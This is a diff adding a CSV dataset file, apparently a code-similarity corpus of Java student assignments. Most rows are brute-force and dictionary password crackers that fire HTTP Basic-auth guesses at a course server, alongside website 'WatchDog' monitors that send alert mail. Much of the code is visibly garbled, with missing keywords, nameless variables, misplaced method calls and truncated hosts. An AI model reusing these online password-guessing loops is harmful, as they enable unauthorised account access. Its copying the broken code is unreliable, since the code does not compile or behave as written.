diff --git "a/Quora_SIM/corpus_dataset_val.csv" "b/Quora_SIM/corpus_dataset_val.csv" new file mode 100644--- /dev/null +++ "b/Quora_SIM/corpus_dataset_val.csv" @@ -0,0 +1,38449 @@ +F1,text_1 +185.java," + +import java.awt.*; +import java.awt.event.*; +import java.io.*; +import java.net.*; + +public class Dictionary extends Frame implements ActionListener { + + private TextField tf = new TextField(); + private TextArea ta = new TextArea(); + + public void actionPerformed (ActionEvent e) { + String s = tf.getText(); + String login=""""; + try{ + BufferedReader bufr = new BufferedReader + (new FileReader (""words1.txt"")); + String inputLine=""""; + + + + if (s.length() != 0) + { + inputLine = bufr.readLine(); + while ((inputLine != null) && (inputLine.length() != 3)) + { + + inputLine = bufr.readLine(); + } + + login="":""+inputLine; + ta.setText (fetchURL (s,login)); + System.out.println(""runing""+login); + }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); + + System.out.println(""The password is: ""+inputLine); +} +catch(Exception ex){} + + } + + public Dictionary() { + + super (""URL11 Password""); + + + add (tf, BorderLayout.LEFT); + ta.setEditable(false); + add (ta, BorderLayout.CENTER); + tf.addActionListener (this); + addWindowListener (new WindowAdapter() { + public void windowClosing (WindowEvent e) { + dispose(); + System.exit(0); + } + }); + } + + private String fetchURL (String urlString,String login) { + StringWriter sw = new StringWriter(); + PrintWriter pw = new PrintWriter(); + + try { + URL url = new URL (urlString); + + + MyAuthenticator = new MyAuthenticator(); + + + + String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); + + + + + + URLConnection uc = url.openConnection(); + uc.setRequestProperty (""Authorization"", "" "" + encoding); + InputStream content = (InputStream)uc.getInputStream(); + BufferedReader in = + new BufferedReader (new InputStreamReader (content)); + String line; + while ((line = in.readLine()) != null) { + pw.println (line); + } + } catch (MalformedURLException e) { + pw.println (""Invalid URL""); + } catch (IOException e) { + pw.println (""Error URL""); + } + return sw.toString(); + } + + + public static void main (String args[]) { + Frame f = new Dictionary(); + f.setSize(300, 300); + f.setVisible (true); + } + + class MyAuthenticator { + String getPasswordAuthentication(Frame f, String prompt) { + final Dialog jd = new Dialog (f, ""Enter password"", true); + jd.setLayout (new GridLayout (0, 1)); + Label jl = new Label (prompt); + jd.add (jl); + TextField username = new TextField(); + username.setBackground (Color.lightGray); + jd.add (username); + TextField password = new TextField(); + password.setEchoChar ('*'); + password.setBackground (Color.lightGray); + jd.add (password); + Button jb = new Button (""OK""); + jd.add (jb); + jb.addActionListener (new ActionListener() { + public void actionPerformed (ActionEvent e) { + jd.dispose(); + } + }); + jd.pack(); + jd.setVisible(true); + return username.getText() + "":"" + password.getText(); + + } + } + +} + + + class Base64Converter + + + { + + public static final char [ ] alphabet = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z', '0', '1', '2', '3', + '4', '5', '6', '7', '8', '9', '+', '/' }; + + + + + public static String encode ( String s ) + + { + return encode ( s.getBytes ( ) ); + } + + public static String encode ( byte [ ] octetString ) + + { + int bits24; + int bits6; + + char [ ] out + = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; + + int outIndex = 0; + int i = 0; + + while ( ( i + 3 ) <= octetString.length ) + { + + bits24 = ( octetString [ i++ ] & 0xFF ) << 16; + bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; + bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0000003F ); + out [ outIndex++ ] = alphabet [ bits6 ]; + } + + if ( octetString.length - i == 2 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + } + else if ( octetString.length - i == 1 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + out [ outIndex++ ] = '='; + } + + return new String ( out ); + } + + + + } + +" +042.java,"import java.net.*; +import java.io.*; + +public class BruteForce { + private String strUserName; + private String strURL; + private int iAttempts; + + public BruteForce(String strURL,String strUserName) { + this.strURL = strURL; + this.strUserName = strUserName; + this.iAttempts = 0 ; + + } + + public String getPassword(){ + URL u; + String result =""""; + PassGenBrute PG = new PassGenBrute(3); + URLConnection uc; + String strPassword = new String(); + String strEncode; + try{ + while (result.compareTo(""HTTP/1.1 200 OK"")!=0){ + + strEncode = PG.getNewPassword(); + u = new URL(strURL); + uc = u.openConnection(); + uc.setDoInput(true); + uc.setDoOutput(true); + strPassword = strEncode; + strEncode = strUserName + "":"" + strEncode; + + strEncode = new String(Base64.encode(strEncode.getBytes())); + uc.setRequestProperty(""Authorization"","" "" + strEncode); + + result = uc.getHeaderField(0); + uc = null; + u = null; + iAttempts++; + } + + } + catch (Exception me) { + System.out.println(""MalformedURLException: ""+me); + } + return(strPassword); + } + + public int getAttempts(){ + return (iAttempts); + }; + + public static void main (String arg[]){ + timeStart = 0; + timeEnd = 0; + + if (arg.length == 2) { + BruteForce BF = new BruteForce(arg[0],arg[1]); + System.out.println(""Processing ... ""); + timeStart = System.currentTimeMillis(); + + System.out.println(""Password = "" + BF.getPassword()); + timeEnd = System.currentTimeMillis(); + System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)""); + System.out.println(""Total Attempts = "" + BF.getAttempts()); + } + else { + System.out.println(""[Usage] java BruteForce ""); + + } + + } +} + +class PassGenBrute { + private char[] password; + public PassGenBrute(int lenght) { + password = new char[lenght]; + for (int i = 0; i < lenght; i++){ + password[i] = 65; + } + password[0]--; + } + + public String getNewPassword() + throws PasswordFailureException{ + password[0]++; + + try { + for (int i=0; i 122) { + password[i] = 65; + password[i+1]++; + } + } + } + catch (RuntimeException re){ + throw new PasswordFailureException (); + } + return new String(password); + } +} + +class PasswordFailureException extends RuntimeException { + + public PasswordFailureException() { + } +}" +133.java," +import java.net.*; +import java.io.*; + + +public class Dictionary +{ + private String myUsername = """"; + private String myPassword = """"; + private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2""; + + + public static void main (String args[]) + { + Dictionary d = new Dictionary(); + } + + public Dictionary() + { + generatePassword(); + } + + + + public void generatePassword() + { + try + { + BufferedReader = new BufferedReader(new FileReader(""/usr/share/lib/dict/words"")); + + + { + myPassword = bf.readLine(); + crackPassword(myPassword); + } while (myPassword != null); + } + catch(IOException e) + { } + } + + + + + public void crackPassword(String passwordToCrack) + { + String data, dataToEncode, encodedData; + + try + { + URL url = new URL (urlToCrack); + + + + dataToEncode = myUsername + "":"" + passwordToCrack; + + + + encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes()); + + URLConnection urlCon = url.openConnection(); + urlCon.setRequestProperty (""Authorization"", "" "" + encodedData); + + InputStream is = (InputStream)urlCon.getInputStream(); + InputStreamReader isr = new InputStreamReader(is); + BufferedReader bf = new BufferedReader (isr); + + + { + data = bf.readLine(); + System.out.println(data); + displayPassword(passwordToCrack); + } while (data != null); + } + catch (IOException e) + { } + } + + + public void displayPassword(String foundPassword) + { + System.out.println(""\nThe cracked password is : "" + foundPassword); + System.exit(0); + } +} + + +" +119.java," +import java.util.*; + +public class Dictionary { + + private String strUsername; + private String strURL; + + + public Dictionary(String username, String url) + { + strUsername = username; + strURL = url; + } + + public void run() { + Date dtStart, dtEnd; + + PasswordFile pwd = new PasswordFile(""/usr/dict/words""); + PasswordTest tester; + int i=1; + boolean bDone = false; + Result res; + + dtStart = new Date(); + while(!bDone) { + tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword()); + + bDone = tester; + i++; + if(bDone) { + + res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i); + System.out.print(res.toString()); + } + else + { + + } + + + if(pwd.getPassword() == null) + { + System.out.println(""Exhausted word file without finding password""); + bDone = true; + } + } + + } + + + public static void main(String[] args) { + + + + + Dictionary dict = new Dictionary("""", ""http://sec-crack.cs.rmit.edu./SEC/2/""); + + dict.run(); + } + +} +" +214.java," + +import java.io.*; +import java.net.*; +import java.util.*; +import java.*; + + +public class WatchDog +{ + + public static void main (String args[]) + { + StringWriter sw = new StringWriter(); + PrintWriter pw = new PrintWriter(); + + int flag=1; + int loop=0; + String ServerType = new String(); + String LastModified = null; + String urlString = new String(""http://www.cs.rmit.edu./students/""); + + + storeNewFile snf = new storeNewFile(""History.txt""); + storeNewFile snf1 = new storeNewFile(""Comparison.txt""); + String result = null; + getImage myGI = new getImage(); + Process myProcess; + String line = null; + stime = System.currentTimeMillis(); + while(loop<5) + { + try { + URL url = new URL (urlString); + URLConnection uc = url.openConnection(); + InputStream content = (InputStream)uc.getContent(); + BufferedReader in = + new BufferedReader (new InputStreamReader (content)); + String line2; + while ((line2 = in.readLine()) != null) { + + pw.println (line2); + } + snf1.getStringW(); + if(LastModified !=null) + { + + + differenceFile df = new differenceFile(); + result = df.compareFile(); + } + if(LastModified==null) + { + System.out.println(""first check""); + LastModified=uc.getHeaderField(1); + ServerType=uc.getHeaderField(2); + snf.getStringW(); + myGI.tokenFile(""History.txt""); + myProcess = Runtime.getRuntime().exec(""./compGIF.sh""); + } + else if(result==null) + { + myGI.tokenFile(""Comparison.txt""); + myProcess = Runtime.getRuntime().exec(""./compGIF.sh""); + BufferedReader inputStream= new BufferedReader(new FileReader(""pictResult.txt"")); + line=inputStream.readLine(); + + if(line == null) + { + System.out.println("" changes far..""); + } + else + { + while(line!=null) + { + sendMail t = new sendMail(); + t.sendMail(""yallara.cs.rmit.edu."", ""@cs.rmit.edu."",line); + line=inputStream.readLine(); + } + } + inputStream.close(); + } + else + { + + snf.translogFile(result); + sendMail t = new sendMail(); + t.sendMail(""yallara.cs.rmit.edu."", ""@cs.rmit.edu."",result); + System.out.println("" email is sent.. sent..sent..""); + snf.getStringW(); + } + snf.closeStream(); + snf1.closeStream(); + + try{ + synchronized(url){ + url.wait(15000); + } + } + catch(InterruptedException e) { + System.out.println(""Error in wait() method""); + } + catch(Exception e){ + e.printStackTrace(); + } + loop++; + endtime=System.currentTimeMillis(); +System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds.""); + + }catch (MalformedURLException e) { + pw.println (""Invalid URL""); + }catch (IOException e) { + pw.println (""Error URL""); + } + } + + System.out.println(""ETag is ""+ ServerType); + System.out.println(""LastModified is ""+ LastModified); + } +}" +117.java," +import java.util.*; + +public class CrackThread implements Runnable { + + private String strUsername; + private String strURL; + private int iSeed; + private int iEnd; + + + public CrackThread() { + } + + public void setParams(String url, String username, int seed, int end) { + strUsername = username; + strURL = url; + iSeed = seed; + iEnd = end; + } + + public void run() { + Date dtStart, dtEnd; + PasswordGen pwd = new PasswordGen(); + PasswordTest tester; + int i=1; + boolean bDone = false; + Result res; + + dtStart = new Date(); + + + pwd.setSeed(iSeed); + + while(!bDone) { + tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword()); + + bDone = tester; + i++; + + + if(i % 100 == 0) + { + System.out.println(pwd.getPassword()); + } + + if(bDone) { + + res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i); + System.out.print(res.toString()); + } + else + { + + } + + + if( i >= iEnd) bDone = true; + } + } + +} +" +030.java," +import java.awt.*; +import java.util.*; +import java.awt.event.*; +import java.io.*; +import java.net.*; + +public class BruteForce +{ + private String userPassword; + private static int counter; + + + + + + public BruteForce(String username) + { + String user; + String password; + counter = 0; + user = username; + + + for (char i='A';i<='z';i++) + { + if (i == 'Z') + i = 'a'; + + for (char j='A';j<='z';j++) + { + if (j == 'Z') + j = 'a'; + + for (char k='A';k<='z';k++) + { + userPassword = user+ "":"" + i + j + k; + + if (k == 'Z') + k = 'a'; + + System.out.print("".""); + + if (doEncoding(userPassword)== true) + { + System.out.println(""\n"" + ""Resultant Password is: "" + i + j + k); + return; + }; + + counter++; + } + } + } + } + + + + + + private boolean doEncoding(String userPassword) + { + String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes()); + return doAttempt(encoding); + } + + + + + + private boolean doAttempt (String encoding) + { + try + { + URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/""); + + URLConnection uc = url.openConnection(); + uc.setDoInput(true); + uc.setDoOutput(true); + + uc.setRequestProperty (""Get"", ""/SEC/2/ "" + ""HTTP/1.1""); + uc.setRequestProperty (""Host"", ""sec-crack.cs.rmit.edu.""); + uc.setRequestProperty (""Authorization"", "" "" + encoding); + + return uc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK""); + } + catch (MalformedURLException e) + { + System.out.println (""Invalid URL""); + } + catch (IOException e) + { + System.out.println (e.toString() ); + } + + return false; + } + + + + + + public static void main(String args[]) + { + Date sdate = new Date(); + + System.out.print(""BruteForce Attack starts at:"" + sdate + ""\n""); + + BruteForce bf = new BruteForce(args[0]); + + Date edate = new Date(); + System.out.print(""BruteForce Attack ends at:"" + sdate + ""\n""); + System.out.println(""Time taken by BruteForce is : "" + (edate.getTime() - sdate.getTime())/1000 + "" seconds \n""); + System.out.print(""Attempts in this session:"" + counter + ""\n""); } +} + + + + +" +116.java," +import java.io.*; + +public class PasswordFile { + + private String strFilepath; + private String strCurrWord; + private File fWordFile; + private BufferedReader in; + + + public PasswordFile(String filepath) { + strFilepath = filepath; + try { + fWordFile = new File(strFilepath); + in = new BufferedReader(new FileReader(fWordFile)); + } + catch(Exception e) + { + System.out.println(""Could not open file "" + strFilepath); + } + } + + String getPassword() { + return strCurrWord; + } + + String getNextPassword() { + try { + strCurrWord = in.readLine(); + + + + } + catch (Exception e) + { + + return null; + } + + return strCurrWord; + } + +} +" +174.java," + + + + +import java.util.*; +import java.io.*; + +public class MyTimer +{ + + public static void main(String args[]) + { + Watchdog watch = new Watchdog(); + Timer time = new Timer(); + time.schedule(watch,864000000,864000000); + + + } +} +" +044.java,"import java.net.*; +import java.io.*; + + +public class Dictionary { + private String strUserName; + private String strURL; + private String strDictPath; + private int iAttempts; + + + public Dictionary(String strURL,String strUserName,String strDictPath) { + this.strURL = strURL; + this.strUserName = strUserName; + this.iAttempts = 0 ; + this.strDictPath = strDictPath; + } + + + public String getPassword(){ + URL u; + String result =""""; + PassGenDict PG = new PassGenDict(3,strDictPath); + URLConnection uc; + String strPassword = new String(); + String strEncode; + try{ + while (result.compareTo(""HTTP/1.1 200 OK"")!=0){ + + strEncode = PG.getNewPassword(); + u = new URL(strURL); + uc = u.openConnection(); + uc.setDoInput(true); + uc.setDoOutput(true); + strPassword = strEncode; + strEncode = strUserName + "":"" + strEncode; + + strEncode = new String(Base64.encode(strEncode.getBytes())); + uc.setRequestProperty(""Authorization"","" "" + strEncode); + + result = uc.getHeaderField(0); + uc = null; + u = null; + iAttempts++; + } + + } + catch (Exception me) { + System.out.println(""MalformedURLException: ""+me); + } + return(strPassword); + } + + public int getAttempts(){ + return (iAttempts); + }; + + public static void main(String arg[]){ + timeStart = 0; + timeEnd = 0; + + if (arg.length == 3) { + Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]); + + System.out.println(""Processing ... ""); + timeStart = System.currentTimeMillis(); + System.out.println(""Password = "" + BF.getPassword()); + timeEnd = System.currentTimeMillis(); + System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)""); + System.out.println(""Total Attempts = "" + BF.getAttempts()); + } + else { + System.out.println(""[Usage] java BruteForce ""); + + } + + } +} + + +class PassGenDict { + + private char[] password; + private String line; + int iPassLenght; + private BufferedReader inputFile; + public PassGenDict(int lenght, String strDictPath) { + try{ + inputFile = new BufferedReader(new FileReader(strDictPath)); + } + catch (Exception e){ + } + iPassLenght = lenght; + } + + public String getNewPassword() + throws PasswordFailureException{ + try { + { + line = inputFile.readLine(); + }while (line.length() != iPassLenght); + + } + catch (Exception e){ + throw new PasswordFailureException (); + } + return (line); + } +} + +class PasswordFailureException extends RuntimeException { + + public PasswordFailureException() { + } +}" +120.java," + + +public class PasswordGen { + + private int iLastSeed = 0; + private int iPasswordLength = 3; + private String strPassword; + + + public PasswordGen() { + strPassword = """"; + } + + public boolean setSeed(int iSeedVal) { + iLastSeed = iSeedVal; + return true; + } + + public String getPassword() { + return strPassword; + } + + public String getPassword(int iSeed) { + int iRemainder, iAliquot, i; + int arrChars[]; + boolean fDone; + + + + arrChars = new int[iPasswordLength]; + for(i = 0; i?:{}|""); + out.flush(); + out.print(); + out=null; + + BufferedReader in1=new BufferedReader(new FileReader(file)); + BufferedReader in2=new BufferedReader(new FileReader(tempfile1)); + String msg=""\n""; + String temp1="""",temp2="""",oldText="""",newText=""""; + + + BufferedReader in0=new BufferedReader(new FileReader(tempfile1)); + while (temp1.equals(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|""+""\n"")==false) + { + temp1=in0.readLine(); + temp1=temp1+""\n""; + newText=newText+temp1; + } + in0.print(); + in0=null; + + out=new PrintWriter(new FileOutputStream(tempfile1)); + out.println(newText); + out.flush(); + out.println(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|""); + out.flush(); + out.print(); + out=null; + newText=""""; + temp1="" ""; + + while (temp1.equals(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|""+""\n"")==false) + { + temp1=in1.readLine(); + temp1=temp1+""\n""; + temp2=in2.readLine(); + temp2=temp2+""\n""; + oldText=oldText+temp1; + newText=newText+temp2; + } + + in2.print(); + in2=null; + + out=new PrintWriter(new FileOutputStream(tempfile2)); + out.println(oldText); + out.flush(); + out.println(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|""); + out.flush(); + out.print(); + out=null; + + msg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3); + String data=""""; + try{ + FileReader fin=new FileReader(tempfile3); + int ch=fin.print(); + while(ch!= -1) + { + data=data+""""+(char)ch; + ch=fin.print(); + } + } + catch(FileNotFoundException m){} + + msg=msg+data; + + temp1=in1.readLine(); + + int numImg=Integer.parseInt(temp1); + if(numImg != images.length) + msg=msg+""The number of images has chnaged.\n The number of images before was ""+numImg+"" \n While the number of images found now is ""+images.length+"" .\n""; + else + msg=msg+"" is change in the number of images the .\n""; + + String iText1="""",iText2=""""; + + for(int i=0;i?:{}|""); + out.flush(); + out.print(); + out=null; + + in2=new BufferedReader(new FileReader(tempfile1)); + + while (temp1.equals(""~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|""+""\n"")==false) + { + + temp1=in1.readLine(); + temp1=temp1+""\n""; + temp2=in2.readLine(); + temp2=temp2+""\n""; + iText1=iText1+temp1; + iText2=iText2+temp2; + } + + in2.print(); + in2=null; + + if(iText1.equals(iText2)) + msg=msg+"" is change in the Image number ""+(i+1)+"". \n""; + else + msg=msg+""The Image number ""+(i+1)+"" has changed. \n""; + } + + return msg; + } + private String[] getImages(String text) throws IOException + { + String [] images,urls; + java.util.ArrayList alist=new java.util.ArrayList(); + String t=""""; + boolean img=false; + int len=text.length(); + char ch,last=' '; + int c=0; + while(c') + { + last='>'; + if(img==true) + { + + System.out.println(); + int n=0; + char tch,tlast=' '; + String imgPath="""",tn=""""; + boolean src=false; + while(n?:{}|""); + out.flush(); + + if(images.length>0) + { + out.println(images.length+""""); + out.flush(); + } + for(int i=0;i?:{}|""); + out.flush(); + } + + } + + public String getResource(String url) throws IOException + { + System.out.println(""url=""+url); + String urlData=new String(""""); + InputStreamReader in=new InputStreamReader(new URL(url).openStream()); + int ch=in.print(); + while(ch!= -1) + { + urlData=urlData+(char)ch; + ch=in.print(); + } + return urlData; + } + + public boolean mail (String msg) throws IOException + { + boolean ret=true; + try + { + Socket csoc=new Socket(""yallara.cs.rmit.edu."",25); + BufferedReader in=new BufferedReader(new InputStreamReader(csoc.getInputStream())); + PrintWriter out=new PrintWriter(csoc.getOutputStream(),true); + out.println(""HELO ""+host); + System.out.println(in.readLine()); + out.println(""MAIL FROM:""+from); + System.out.println(in.readLine()); + out.println(""RCPT :""); + System.out.println(in.readLine()); + out.println(""DATA""); + System.out.println(in.readLine()); + out.println(""SUBJECT:""+subject); + System.out.println(in.readLine()); + out.println(msg); + out.println("".""); + System.out.println(in.readLine()); + out.println(""QUIT""); + System.out.println(in.readLine()); + } + catch(Exception e) + { + e.printStackTrace(); + System.out.println(""Some error occoured while communicating server""); + ret=false; + return ret; + } + System.out.println(""**************************************\nMAIL ->""+msg); + return ret; + } + + public static void main (String[] args) + { + System.out.println(""Usage : \n java WatchDog [First] \n {The First at the end is used when running the watch dog for a new URL for the first Time}""); + boolean flag=false; + int num=args.length-1; + if(args[args.length-1].equalsIgnoreCase(""First"")) + { + num--;; + flag=true; + } +System.out.println(args[num]); + + WatchDog w=new WatchDog(flag); + String []u=new String[num]; + for(int i=0;i> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0000003F ); + out [ outIndex++ ] = alphabet [ bits6 ]; + } + + if ( octetString.length - i == 2 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; + bits6=( bits24 & 0x00FC0000 )>> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + } + else if ( octetString.length - i == 1 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + bits6=( bits24 & 0x00FC0000 )>> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + out [ outIndex++ ] = '='; + } + + return new String ( out ); + } + } + + +" +228.java," + +import java.io.*; +import java.*; +import java.net.*; +import java.util.*; + +public class BruteForce { + public static void main (String[] args) throws IOException { + BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in)); + + int start = new Date().getTime(); + String[] letters = {""a"",""A"",""b"",""B"",""c"",""C"",""d"",""D"",""e"",""E"",""f"",""F"",""g"",""G"", + ""h"",""H"",""i"",""I"",""j"",""J"",""k"",""K"",""l"",""L"",""m"",""M"",""n"",""N"", + ""o"",""O"",""p"",""P"",""q"",""Q"",""r"",""R"",""s"",""S"",""t"",""T"",""u"",""U"", + ""v"",""V"",""w"",""W"",""x"",""X"",""y"",""Y"",""z"",""Z""}; + int len = 52; + int total = 52; + String[] cad = new String[total]; + int t=0; + + for (int i=0;i<=len-1;i++){ + cad[t] = letters[i]; + t++; + } + for (int i=0;i<=len-1;i++){ + for (int j=0;j<=len-1;j++){ + cad[t] = letters[j]+letters[i]; + t++; + }} + for (int i=0;i<=len-1;i++){ + for (int j=0;j<=len-1;j++){ + for (int k=0;k<=len-1;k++){ + cad[t] = letters[k]+letters[j]+letters[i]; + t++; + }}} + + int response = 0; + for (t=0;t<=total-1;t++){ + String uname = """"; + String userinfo = uname + "":"" + cad[t]; + try{ + String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes()); + URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + HttpURLConnection uc = (HttpURLConnection)url.openConnection(); + uc.setRequestProperty (""Authorization"", "" "" + encoding); + response = uc.getResponseCode(); + if (response == 200) break; + else uc.disconnect(); + } + catch(IOException e){ System.err.println(e); e.printStackTrace(); } + catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); } + } + System.out.println(""Response ""+t+"" was ""+response); + System.out.println(""The successful password was ""+cad[t]); + finish = new Date().getTime(); + float totaltime = (float)(finish-start)/1000; + System.out.println(""Total time: ""+totaltime+"" seconds""); + } +} + +" +122.java," + +import java.net.*; +import java.text.*; +import java.util.*; +import java.io.*; + +public class WatchDog { + + public WatchDog() { + + StringBuffer stringBuffer1 = new StringBuffer(); + StringBuffer stringBuffer2 = new StringBuffer(); + int i,j = 0; + + try{ + + URL yahoo = new URL(""http://www.cs.rmit.edu./students/""); + BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream())); + + String inputLine = """"; + String inputLine1 = """"; + String changedtext= """"; + String changedflag= """"; + + + Thread.sleep(180); + + BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream())); + + + while ((inputLine = in.readLine()) != null) { + inputLine1 = in1.readLine(); + if (inputLine.equals(inputLine1)) { + System.out.println(""equal""); + } + else { + System.out.println(""Detected a Change""); + System.out.println(""Line Before the change:"" + inputLine); + System.out.println(""Line After the change:"" + inputLine1); + changedtext = changedtext + inputLine + inputLine1; + changedflag = ""Y""; + } + + } + + if (in1.readLine() != null ) { + System.out.println(""Detected a Change""); + System.out.println(""New Lines Added ""); + changedtext = changedtext + ""New Lines added""; + changedflag = ""Y""; + } + + in.print(); + in1.print(); + + if (changedflag.equals(""Y"")) { + String smtphost =""smtp.mail.rmit.edu."" ; + String from = ""@rmit.edu.""; + String = ""janaka1@optusnet.."" ; + } + + + } + catch(Exception e){ System.out.println(""exception:"" + e);} + +} + + public static void main (String[] args) throws Exception { + WatchDog u = new WatchDog(); + } +} +" +107.java," + + +import java.io.InputStream; +import java.util.Properties; + +import javax.naming.Context; +import javax.naming.InitialContext; +import javax.rmi.PortableRemoteObject; +import javax.sql.DataSource; + + + + + +public class WatchdogPropertyHelper { + + private static Properties testProps; + + + + public WatchdogPropertyHelper() { + } + + + + + public static String getProperty(String pKey){ + try{ + initProps(); + } + catch(Exception e){ + System.err.println(""Error init'ing the watchddog Props""); + e.printStackTrace(); + } + return testProps.getProperty(pKey); + } + + + private static void initProps() throws Exception{ + if(testProps == null){ + testProps = new Properties(); + + InputStream fis = + WatchdogPropertyHelper.class.getResourceAsStream(""/watchdog.properties""); + testProps.load(fis); + } + } +} +" +224.java," + +import java.io.*; +import java.text.*; +import java.util.*; +import java.net.*; + +public class Dictionary extends Thread +{ + private static final String USERNAME = """"; + private static final String DICTIONARY_FILE = ""/usr/share/lib/dict/words""; + private static int NUMBER_OF_THREAD = 500; + + private static Date startDate = null; + private static Date endDate = null; + + private String address; + private String password; + + public Dictionary(String address, String password) + { + this.address = address; + this.password = password; + } + + public static void main(String[] args) throws IOException + { + if (args.length < 1) + { + System.err.println(""Invalid usage!""); + System.err.println(""Usage: java Dictionary ""); + System.exit(1); + } + + try + { + dic(args[0], USERNAME); + } + catch(Exception e) + { + e.printStackTrace(); + System.exit(1); + } + } + + public static void dic(String address, String user) + { + Dictionary [] threads = new Dictionary[NUMBER_OF_THREAD]; + int index = 0; + + startDate = new Date(); + try + { + BufferedReader buff = new BufferedReader(new FileReader(DICTIONARY_FILE)); + String password = null; + while((password = buff.readLine()) != null) + { + if (threads[index] != null && threads[index].isAlive()) + { + try + { + threads[index].join(); + } + catch(InterruptedException e) {} + } + threads[index] = new Dictionary(address, password.trim()); + threads[index].get(); + + index = (index++) % threads.length; + } + } + catch(Exception e) + { + e.printStackTrace(); + } + } + + public void run() + { + if (endDate != null) + return; + + try + { + URLConnection conn = (new URL(address)).openConnection(); + conn.setDoInput(true); + + if (login(conn, USERNAME, password)) + { + endDate = new Date(); + System.out.println(""Found the password: \""""+password+""\""!""); + SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:""); + System.out.println(""Process started at: ""+format.format(startDate)); + System.out.println(""Process started at: ""+format.format(endDate)); + double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000; + System.out.println(""Time taken: ""+timeTaken+"" minutes""); + System.exit(0); + } + else + { + System.out.println(""Password: \""""+password+""\"" Failed!""); + return; + } + } + catch(Exception e) + { + e.printStackTrace(); + } + } + + public static boolean login(URLConnection conn, String user, String pass) + { + try + { + String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass); + conn.setRequestProperty (""Authorization"", encodeAuth); + conn.connect(); + conn.getInputStream(); + } + catch(Exception e) + { + return false; + } + return true; + } +} + + +" +021.java," + + + +import java.util.*; +import java.net.*; +import java.io.*; +import misc.BASE64Encoder; +import javax.swing.*; + +public class ConnectionThread extends Thread +{ + private String url; + private URL currURL; + private URLConnection conn; + private HoldSharedData sharedData; + private int noOfThread; + private int batch; + + public ConnectionThread( String pageURL, int wThread, + int newBatch, HoldSharedData data ) + { + super(); + url = pageURL; + noOfThread = wThread; + batch = newBatch; + sharedData = data; + } + + + public void run() + { + try + { + currURL = new URL( url ); + + for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) 